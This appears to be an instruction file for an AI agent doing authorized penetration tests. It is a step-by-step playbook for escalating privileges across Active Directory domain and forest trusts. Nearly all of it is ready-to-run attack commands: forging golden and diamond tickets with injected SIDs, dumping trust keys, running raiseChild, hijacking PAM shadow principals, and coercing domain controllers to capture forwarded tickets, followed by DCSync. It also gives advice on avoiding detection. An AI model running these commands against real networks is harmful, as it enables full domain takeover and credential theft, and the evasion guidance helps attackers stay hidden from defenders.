trust-attacks

name	trust-attacks
description	Enumerates Active Directory trust relationships and exploits them for cross-domain and cross-forest privilege escalation. Covers trust enumeration (nltest, PowerView, BloodHound), SID history injection (child domain to forest root via golden/diamond ticket with extra SIDs), inter-realm TGT forging using trust keys, TGT delegation coercion capture (Rubeus monitor + SpoolSample/DFSCoerce across forest trusts with ENABLE_TGT_DELEGATION), cross-forest trust abuse (SID filtering bypass, RBCD, Kerberoasting via trust account), and PAM trust exploitation (shadow principals in bastion forests).
keywords	["trust attacks","domain trust","forest trust","SID history","child to parent","cross-forest","inter-realm","trust key","extra SID","raiseChild","PAM trust","shadow principals","bastion forest","trust enumeration","SID filtering","forest root","TGT delegation","ENABLE_TGT_DELEGATION","CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION","unconstrained delegation trust","coercion capture","SpoolSample","ticketConverter"]
tools	["Mimikatz","Rubeus","Impacket (ticketer.py","raiseChild.py","lookupsid.py","ticketConverter.py)","PowerView","bloodyAD","NetExec","SpoolSample / printerbug.py","DFSCoerce","PetitPotam"]
opsec	medium

Trust Attacks

You are helping a penetration tester enumerate and exploit Active Directory trust relationships for cross-domain and cross-forest privilege escalation. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [trust-attacks] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

Access required: Domain Admin in at least one domain (for trust key extraction and krbtgt hash). Lower-privilege paths exist for trust account authentication.

Kerberos authentication setup (for enumeration and tool execution):

# Obtain TGT
getTGT.py 'DOMAIN.LOCAL/username:password' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/username.ccache

# All Impacket commands: -k -no-pass
# NetExec: --use-kcache
# bloodyAD: -k

Tools: Mimikatz, Rubeus, Impacket (ticketer.py, raiseChild.py, lookupsid.py, secretsdump.py, psexec.py), PowerView, bloodyAD, NetExec.

Step 1: Enumerate Trust Relationships

Trust Discovery

# Native Windows
nltest /trusted_domains

# PowerView — all trusts with properties
Get-DomainTrust
Get-DomainTrust -Domain parent.local

# AD Module — trust properties (critical for attack viability)
Get-ADTrust -Filter * -Properties SelectiveAuthentication,SIDFilteringQuarantined,SIDFilteringForestAware,TGTDelegation,ForestTransitive

# .NET — all trusts from current domain
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

# NetExec module
nxc ldap DC_IP -u 'user' -p 'pass' --use-kcache -M enum_trusts

# Impacket — enumerate SIDs in target domain
lookupsid.py -k -no-pass DOMAIN/user@DC_IP

Key Properties to Assess

Property	Impact
SIDFilteringQuarantined	If False, SID history injection works across trust
SelectiveAuthentication	If True, only explicitly allowed users can authenticate
ForestTransitive	Indicates forest-level trust (broader scope)
TrustDirection	Inbound/Outbound/Bidirectional — determines attack direction
TGTDelegation	If True, unconstrained delegation possible across trust

Cross-Domain Group Membership

# Foreign group members (users from other domains in local groups)
Get-DomainForeignGroupMember
Get-DomainForeignGroupMember -Domain parent.local

# Foreign users with local admin
Get-NetLocalGroupMember -ComputerName dc.parent.local

Trust Type Decision Tree

Trust Found
├── Parent-Child (in-forest) → SID filtering NOT enforced → Step 2 (SID History)
├── Forest Trust
│   ├── TGTDelegation = True + admin on trusted DC → Step 6 (TGT Delegation Coercion)
│   ├── SIDFilteringQuarantined = False → Step 2 (SID History cross-forest)
│   ├── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) or Step 5 (enum only)
│   └── PAM trust attributes → Step 4 (Shadow Principals)
├── External Trust
│   ├── SIDFilteringQuarantined = False → Step 2 (SID History)
│   └── SIDFilteringQuarantined = True → Step 3 (Trust Ticket) + Step 5
└── One-Way Trust
    ├── Inbound (they trust us) → Step 3 (authenticate into their domain)
    └── Outbound (we trust them) → Step 5 (limited attack surface)

Step 2: SID History Injection (Child -> Parent / Cross-Forest)

The primary trust escalation technique. Forge a ticket in the child domain with the parent domain's Enterprise Admins SID (S-1-5-21-PARENT-519) in the SID history field.

Prerequisite: krbtgt hash from child domain + parent domain SID.

Obtain Domain SIDs

# Child domain SID
lookupsid.py -k -no-pass CHILD.LOCAL/user@child-dc 0

# Parent domain SID + Enterprise Admins
lookupsid.py -k -no-pass CHILD.LOCAL/user@parent-dc | grep "Enterprise Admins"
# Note the SID before -519 as the parent domain SID

Golden Ticket with Extra SIDs (Mimikatz)

# AES256 preferred — avoids RC4 detection
kerberos::golden /user:Administrator /domain:child.local /sid:S-1-5-21-CHILD_SID /aes256:<CHILD_KRBTGT_AES256> /sids:S-1-5-21-PARENT_SID-519 /startoffset:-10 /endin:600 /renewmax:10080 /ptt

# RC4 fallback
kerberos::golden /user:Administrator /domain:child.local /sid:S-1-5-21-CHILD_SID /rc4:<CHILD_KRBTGT_RC4> /sids:S-1-5-21-PARENT_SID-519 /ptt

Use /startoffset, /endin, /renewmax to match domain policy (avoid default 10-year lifetime which is an obvious detection indicator).

Diamond Ticket with Extra SIDs (Rubeus — Recommended for OPSEC)

Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-PARENT_SID-519 /krbkey:<CHILD_KRBTGT_AES256> /nowrap /ldap

Diamond ticket modifies a legitimate TGT — generates matching 4768->4769 event pairs (golden ticket skips the 4768).

Impacket ticketer.py (Linux)

# Generate ticket with extra SID
ticketer.py -nthash <CHILD_KRBTGT_NTLM> \
  -domain child.local \
  -domain-sid S-1-5-21-CHILD_SID \
  -extra-sid S-1-5-21-PARENT_SID-519 \
  Administrator

# Or with AES (preferred)
ticketer.py -aesKey <CHILD_KRBTGT_AES256> \
  -domain child.local \
  -domain-sid S-1-5-21-CHILD_SID \
  -extra-sid S-1-5-21-PARENT_SID-519 \
  Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass child.local/[e-mail]
secretsdump.py -k -no-pass child.local/[e-mail]

Automated: raiseChild.py

# Full automation: extract krbtgt, get parent SID, forge ticket, authenticate
raiseChild.py -target-exec parent-dc.parent.local child.local/admin_user

# With Kerberos auth
raiseChild.py -k -no-pass -target-exec parent-dc.parent.local child.local/admin_user

Automatically: gets Enterprise Admins SID from parent, retrieves child krbtgt, creates golden ticket with extra SID, authenticates to parent DC, extracts parent admin credentials.

PAC Validation Considerations (2025+)

Windows Server 2025 DCs with PAC signature validation in enforcement mode (CVE-2024-26248/29056) require valid cross-realm PAC signatures. Check registry PacSignatureValidationLevel:

• Compatibility mode (default during rollout): forged PAC accepted
• Enforcement mode (2025+ default): requires trust key to sign PAC

If enforcement mode is active, use trust ticket approach (Step 3) instead.

Step 3: Inter-Realm TGT Forging (Trust Ticket)

Forge an inter-realm TGT using the trust account key. Useful when:

• You have the trust key but not the krbtgt hash
• PAC enforcement blocks SID history injection
• Attacking external/forest trusts where SID filtering is enabled

Extract Trust Key

# Mimikatz — dump trust keys from DC
lsadump::trust /patch
# Look for: [In] DOMAIN$ -> NTLM: <RC4>, AES256: <AES>
# Look for: [Out] DOMAIN$ -> NTLM: <RC4>, AES256: <AES>

# Alternative: DCSync the trust account
lsadump::lsa /inject /name:TARGETDOMAIN$

# Impacket — DCSync trust account
secretsdump.py -k -no-pass DOMAIN/admin@dc | grep '\$'

Forge Inter-Realm TGT

# Mimikatz — inter-realm TGT (referral ticket)
kerberos::golden /domain:source.local /sid:S-1-5-21-SOURCE_SID /rc4:<TRUST_RC4> /user:Administrator /service:krbtgt /target:target.local /ticket:trust.kirbi

# Request service ticket in target domain
Rubeus.exe asktgs /ticket:trust.kirbi /service:CIFS/dc.target.local /dc:dc.target.local /ptt

Trust Account Authentication

# Authenticate as the trust account itself
Rubeus.exe asktgt /user:TARGETDOMAIN$ /domain:source.local /rc4:<TRUST_RC4> /dc:dc.source.local /ptt

# Now Kerberoast in target domain
Rubeus.exe kerberoast /domain:target.local

# From Linux
getTGT.py -hashes :<TRUST_NTLM> source.local/TARGETDOMAIN\$
export KRB5CCNAME=TARGETDOMAIN\$.ccache

# Kerberoast via trust account
GetUserSPNs.py -k -no-pass -target-domain target.local source.local/TARGETDOMAIN\$

Step 4: PAM Trust Exploitation (Shadow Principals)

PAM (Privileged Access Management) trusts use shadow security principals in a bastion forest to manage access to production forests. Compromising the bastion forest gives instant access to all managed forests.

Prerequisite: Windows Server 2016 or later. Trust with ForestTransitive=True and SIDFilteringQuarantined=False.

Enumerate Shadow Principals

# Find shadow principal configuration
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | Select Name,member,msDS-ShadowPrincipalSid

# Example output:
# Name: forest-ShadowEnterpriseAdmin
# member: CN=PAMAdmin,CN=Users,DC=bastion,DC=local
# msDS-ShadowPrincipalSid: S-1-5-21-MANAGED_SID-519

Exploit: Add User to Shadow Principal Group

# Windows — add compromised user to shadow principal
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" -Add @{'member'="CN=compromised_user,CN=Users,DC=bastion,DC=local"}

# Linux — bloodyAD (Kerberos auth)
bloodyAD --host bastion-dc -d bastion.local -k add groupMember \
  'CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local' \
  compromised_user

Result: compromised user now has Enterprise Admin rights in all managed forests via the shadow principal SID mapping.

Step 5: Cross-Forest Enumeration via Trust Account

When SID filtering is enabled and direct escalation is blocked, use the trust account for reconnaissance in the target forest.

Kerberoasting via Trust

# Authenticate as trust account
getTGT.py -hashes :<TRUST_NTLM> source.local/TARGETDOMAIN\$
export KRB5CCNAME=TARGETDOMAIN\$.ccache

# Kerberoast in target domain
GetUserSPNs.py -k -no-pass -target-domain target.local source.local/TARGETDOMAIN\$ -outputfile trust-kerberoast.txt

Cross-Forest RBCD

When you control a machine account in the trusted forest and have write access to a computer in the trusting forest:

# 1. Set RBCD on target in trusting forest
Set-ADComputer -Identity victim-host$ -PrincipalsAllowedToDelegateToAccount OURHOST$

# 2. Request inter-realm TGT
Rubeus.exe asktgt /user:OURHOST$ /domain:our.local /rc4:<RC4> /ptt

# 3. S4U impersonation
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/victim-host.target.local /altservice:LDAP /ptt

Enumerate Across Trust

# BloodHound collection across trust
bloodhound-python -u 'user' -p 'pass' -d target.local -ns TARGET_DC_IP -c All

# LDAP queries into target domain
nxc ldap TARGET_DC -u 'user' -p 'pass' -d target.local --users
nxc ldap TARGET_DC -u 'user' -p 'pass' -d target.local --groups

Step 6: TGT Delegation Coercion Capture (Cross-Forest)

When a forest trust has TGTDelegation = True (the CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION flag), DCs in the trusting forest forward their full TGT when authenticating cross-forest to DCs in the trusted forest. DCs have unconstrained delegation by default — any DC in the trusted forest can harvest forwarded TGTs.

Prerequisites: Admin/SYSTEM on a DC in the trusted forest (the forest that receives authentication). Forest trust with TGTDelegation enabled.

See also: kerberos-delegation Step 2 covers unconstrained delegation TGT harvesting in same-domain context. This step applies the same technique cross-forest via the trust's TGT delegation flag.

1. Monitor for Incoming TGTs (Trusted Forest DC)

# Rubeus — monitor for TGTs arriving via unconstrained delegation
# Run on the DC in the trusted forest (where you have admin)
Rubeus.exe monitor /interval:5 /nowrap /filteruser:TRUSTING_DC$

2. Coerce the Trusting Forest DC

Trigger the trusting forest DC to authenticate to the trusted forest DC. Critical: use the HOSTNAME of the trusted DC, not its IP. IP causes NTLM fallback which does not trigger TGT forwarding. The hostname forces Kerberos authentication, which triggers the TGT delegation.

# From any host with domain creds — coerce TRUSTING_DC → TRUSTED_DC
# Use HOSTNAME for listener (forces Kerberos, triggers TGT forwarding)
python3 printerbug.py DOMAIN/user@TRUSTING_DC TRUSTED_DC_HOSTNAME
python3 PetitPotam.py -u user -p 'password' -d DOMAIN TRUSTED_DC_HOSTNAME TRUSTING_DC
python3 dfscoerce.py -u user -d DOMAIN TRUSTED_DC_HOSTNAME TRUSTING_DC

3. Capture and Use Forwarded TGT

Rubeus captures the trusting DC's machine TGT (e.g., DC01$). Convert and use for DCSync:

# Convert .kirbi (base64 from Rubeus) → .ccache
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache

# DCSync the trusting forest with the captured DC machine TGT
secretsdump.py -k -no-pass TRUSTING_DOMAIN/DC01\$@TRUSTING_DC_FQDN -just-dc

Step 7: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

SID History Injection Fails

• SID filtering enabled: Check Get-ADTrust -Properties SIDFilteringQuarantined. If True on forest trust, SID history is stripped. Use trust ticket (Step 3) or Kerberoasting via trust account (Step 5) instead.
• Selective Authentication: Check SelectiveAuthentication property. If True, only explicitly allowed users can authenticate across the trust.
• PAC validation enforcement: Windows Server 2025+ DCs may enforce PAC signatures. Use diamond ticket or trust ticket approach.

Trust Key Extraction Fails

• lsadump::trust /patch fails: Try lsadump::lsa /inject /name:DOMAIN$ or DCSync the trust account: secretsdump.py -k -no-pass domain/admin@dc.
• Trust key rotated: Trust passwords rotate every 30 days. Extract the current key, not a cached one.

Cross-Forest Access Denied

• Clock skew (KRB_AP_ERR_SKEW): Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. Fix requires root: sudo ntpdate TARGET_DC
• DNS resolution: Target DC must be resolvable. Add /etc/hosts entries or configure DNS forwarding.
• Service ticket refused: Verify the service exists and the trust account has access. Try CIFS first (most permissive).

raiseChild.py Errors

• "Cannot find the domain": Ensure DNS resolution for both child and parent domain. Add /etc/hosts entries for both DCs.
• "Access denied": Requires DA in the child domain. Verify with nxc smb child-dc -k --use-kcache.

Diamond Ticket SID History

• Rubeus diamond fails: Ensure /ldap flag is included for PAC attribute resolution. Use /tgtdeleg for automatic TGT acquisition.
• Missing /sids: The /sids parameter is required for cross-domain escalation — without it, the ticket is valid only in the current domain.

OPSEC Comparison

Technique	OPSEC	Detection	Notes
Trust enumeration	Low	Read-only LDAP queries	Standard recon
Diamond ticket + extra SID	Medium	4768+4769 pair (normal)	Best for stealth
Golden ticket + extra SID	Medium-High	4769 without 4768	Detectable pattern
Inter-realm TGT (trust key)	Medium	Service ticket requests from trust account	Unusual but not alarming
Trust account Kerberoasting	Low-Medium	4769 events	Offline cracking
raiseChild.py	High	Full chain (DCSync + ticket + auth)	Automated = fast but loud
PAM shadow principal modification	Medium	5136 (object modification)	Bastion forest only
Cross-forest RBCD	Medium	S4U2Proxy events (4769)	Requires write access
TGT delegation coercion	Medium	4624 + coercion RPC (4769 cross-forest)	Requires admin on trusted DC